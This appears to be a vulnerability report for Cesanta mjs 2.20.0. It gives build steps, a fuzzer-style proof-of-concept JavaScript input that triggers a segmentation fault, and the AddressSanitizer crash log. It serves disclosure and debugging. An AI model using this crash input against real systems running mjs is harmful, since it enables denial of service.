SEGV (/mjs/mjs+0x4ec508)

[vorfreuder]

The name of an affected Product mjs

The affected version Commit: b1b6eac (Tag: 2.20.0)

Description An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs+0x4ec508 component.

Vulnerability Type segmentation violation

Environment

• Operating System

  Distributor ID: Ubuntu
  Description:    Ubuntu 18.04.6 LTS
  Release:        18.04
  Codename:       bionic

• Compiler

  Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11
  Target: x86_64-pc-linux-gnu
  Thread model: posix

Steps to Reproduce

git clone https://github.com/cesanta/mjs
cd mjs
git checkout b1b6eac
clang -fsanitize=address -DMJS_MAIN mjs.c -o mjs

poc

```` let i, a = 0, b0= 0, c = 0continu, d0, e = 0; for (i = 8; i < 20; i++) { a let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify-= i; c /= 0, c = 0let s = '08888888888888 true, "x": [null], "e": "1\\n2"}'; let o = JSON.parse(s); let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify(o)AAA ````

run command

mjs -f poc

ASAN info

AddressSanitizer:DEADLYSIGNAL
=================================================================
==139==ERROR: AddressSanitizer: SEGV on unknown address 0x0000004ec508 (pc 0x0000004ec508 bp 0x7ffe0c9ce3d0 sp 0x7ffe0c9cdb58 T0)
==139==The signal is caused by a WRITE memory access.
    #0 0x4ec508  (/mjs/mjs+0x4ec508)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/mjs/mjs+0x4ec508) 
==139==ABORTING